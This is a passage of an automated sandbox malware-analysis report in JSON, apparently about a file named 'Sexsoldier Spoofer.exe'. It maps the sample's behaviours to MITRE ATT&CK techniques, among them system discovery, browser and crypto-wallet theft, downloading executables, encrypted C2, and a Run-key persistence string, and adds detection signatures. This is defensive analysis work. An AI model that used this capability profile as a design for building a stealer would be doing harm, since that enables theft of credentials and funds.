Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Able to retrieve NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to retrieve network adapter information (Dotnet)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Able to retrieve network adapter information (.NET)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Contains ability to retrieve processes (Powershell command string)"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Calls an API used to retrieve process information"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Able to list processes on remote desktop session host"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language"},{"type":"informative","value":"Able to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"},{"type":"informative","value":"Able to enumerate available system drives (PowerShell command string)"},{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"},{"type":"informative","value":"Calls an API typically used to enumerate logical drives on the computer"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query the system locale"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Able to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Contains ability to retrieve remote session information (API string)"},{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate logon sessions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"Log Enumeration","attack_id":"T1654","attack_id_wiki":"https://attack.mitre.org/techniques/T1654","identifiers":[{"type":"informative","value":"Able to retrieve security-related event logs (PowerShell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"Browser Information Discovery","attack_id":"T1217","attack_id_wiki":"https://attack.mitre.org/techniques/T1217","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Identified known pipe name"},{"type":"informative","value":"Contains ability to move items (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"informative","value":"Contains ability to perform remote desktop activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Lateral Movement","technique":"Windows Remote Management","attack_id":"T1021.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/006","identifiers":[{"type":"informative","value":"Contains reference to remote powershell session activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Able to modify Remote Configuration"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"},{"type":"informative","value":"Able to perform SQL operations"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"suspicious","value":"Contains ability to find and load resources of a specific module"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"},{"type":"malicious","value":"Tries to steal Crypto currency wallets information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"malicious","value":"GETs executable from a web server (HTTPS)"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to copy items (Powershell command string)"},{"type":"informative","value":"Contains ability to get content from a webpage (Powershell command string)"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to transfer data using curl"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"GETs files from a web server (PE files)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Sends a suspicious GET request"},{"type":"informative","value":"Contains ability to provide interface for network protocols (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"suspicious","value":"Sends UDP traffic"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Able to change the configuration parameters of a service"},{"type":"informative","value":"Contains ability to stop a service (Powershell command string)"},{"type":"informative","value":"Calls an API used to open a process handle"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]}],"sandbox_signatures":[{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with medium confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"medium\" confidence","origin":"Static Analysis","id":"mlmodel-13","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (Cloud) detected file with high confidence","description":"\"Portable Executable (Cloud) Model\" detected file as \"dirty\" with \"high\" confidence","origin":"Static Analysis","id":"mlmodel-16","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$25","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-120","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains native function calls (syscalls strings)","description":"$26","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-5000","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Can load assembly that contains the code that is currently executing (Dotnet)","description":"Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1620","id":"string-615","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"set_UseShellExecute\" (Indicator: \"ShellExecute\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-240","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"Found reference to API (Indicator: \"CreateDirectory\"; Source: \"sample.bin\"), Found reference to API (Indicator: \"ShowWindow\"; Source: \"sample.bin\"), Found reference to API (Indicator: \"GetTempPath\"; Source: \"sample.bin\"), Found reference to API (Indicator: \"Sleep\"; Source: \"sample.bin\"), Found reference to API (Indicator: \"SetFileAttributes\"; Source: \"sample.bin\"), Found reference to API (Indicator: \"GetConsoleWindow\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-101","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1074.001","id":"string-423","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564.003","id":"string-208","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Found registry location strings which can modify auto-execute functionality","description":"Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" (Indicator: \"software\\microsoft\\windows\\currentversion\\run\"; in Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1547","id":"string-184","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetTempPath\" (Indicator: \"GetTempPath\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-207","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"Hostname\" (Indicator: \"hostname\"; Source: \"sample.bin\"), Found string \"NV Hostname\" (Indicator: \"hostname\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-126","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"aeS=`\" (Indicator: \"aes\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-57","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"0.0.0.0\", \"1.0.0.0\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"493)d.ug\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributes\" (Indicator: \"SetFileAttributes\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1222","id":"string-426","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to build PowerShell events through modules contained in the .NET code","description":"$27","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-942","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"Found string \"System.IO.Compression.ZipFile\" (Source: \"00000000-00002136.00000000.136196.00ED1000.00000020.mdmp\")\n Found string \"system.io.compression\" (Source: \"00000000-00002136.00000001.137903.091B0000.00000004.mdmp, 00000000-00002136.00000001.137903.091D0000.00000004.mdmp\")\n Found string \"compressionmode\" (Source: \"00000000-00002136.00000001.137903.091B0000.00000004.mdmp\")\n Found string \"decompressionmethods\" (Source: \"00000000-00002136.00000001.137903.091B0000.00000004.mdmp\")\n Found string \"compressionlevel\" (Source: \"00000000-00002136.00000001.137903.091B0000.00000004.mdmp\")\n Found string \"compressionstrategy\" (Source: \"00000000-00002136.00000001.137903.091B0000.00000004.mdmp\")\n Found string \"compressionmethod\" (Source: \"00000000-00002136.00000001.137903.091B0000.00000004.mdmp\")\n Found string \"compressiontracingswitchlevel\" (Source: \"00000000-00002136.00000001.137903.091D0000.00000004.mdmp\")\n Found string \"compressiontracingswitch\" (Source: \"00000000-00002136.00000001.137903.091D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to delete items (Powershell command string)","description":"Found string \"Remove-Item\" (Indicator: \"Remove-Item\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-333","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to execute applications in hidden mode (.NET)","description":"Observed Namespace \"System.Diagnostics.ProcessStartInfo\" and MemberReference \"set_CreateNoWindow\" in \"Sexsoldier Spoofer.exe\"\n Observed Namespace \"System.Diagnostics.ProcessStartInfo\" and MemberReference \"set_CreateNoWindow\" in \"svchost.exe\"","origin":"Static Parser","mitre_attack_id":"T1564.003","relevance":7,"id":"static-161","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"WTSFreeMemory\" (Indicator: \"FreeMemory\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00002136.00000000.136196.70851000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to load content into memory (.NET)","description":"Observed namespace \"System.IO.MemoryStream\" and TypeReference \".ctor\" in \"RPZ-HWID.dll\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":5,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"OpenThread\" (Indicator: \"OpenThread\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to write/modify file content (Powershell command string)","description":"Found string \"Set-Content\" (Indicator: \"Set-Content\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-331","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00002136)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00002136)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00002136)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00002136)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '128647169', 'hResInfo': '128648416'}\" (UID: 00000000-00002136)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '128647169', 'hResInfo': '128648448'}\" (UID: 00000000-00002136)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '128647169', 'hResInfo': '128648464'}\" (UID: 00000000-00002136)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '128647169', 'hResInfo': '128648432'}\" (UID: 00000000-00002136)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"ONENOTEM.EXE\" called \"RemoveDirectoryW\" with parameter masterkey_db (UID: 00000000-00005500)\n \"MicrosoftEdgeUpdate.exe\" called \"RemoveDirectoryW\" with parameter %PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\1.3.221.3 (UID: 00000000-00007728)\n \"MicrosoftEdgeUpdate.exe\" called \"RemoveDirectoryW\" with parameter %PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\Offline (UID: 00000000-00007728)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to clear Powershell session command history (Powershell command string)","description":"Found string \"Clear-History\" (Indicator: \"Clear-History\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.003","relevance":1,"id":"string-243","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to clear content (Powershell command string)","description":"Found string \"Clear-Host\" (Indicator: \"Clear-Host\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")\n Found string \"Clear-Content\" (Indicator: \"Clear-Content\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")\n Found string \"Clear-ItemProperty\" (Indicator: \"Clear-ItemProperty\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")\n Found string \"Clear-Variable\" (Indicator: \"Clear-Variable\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-368","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains 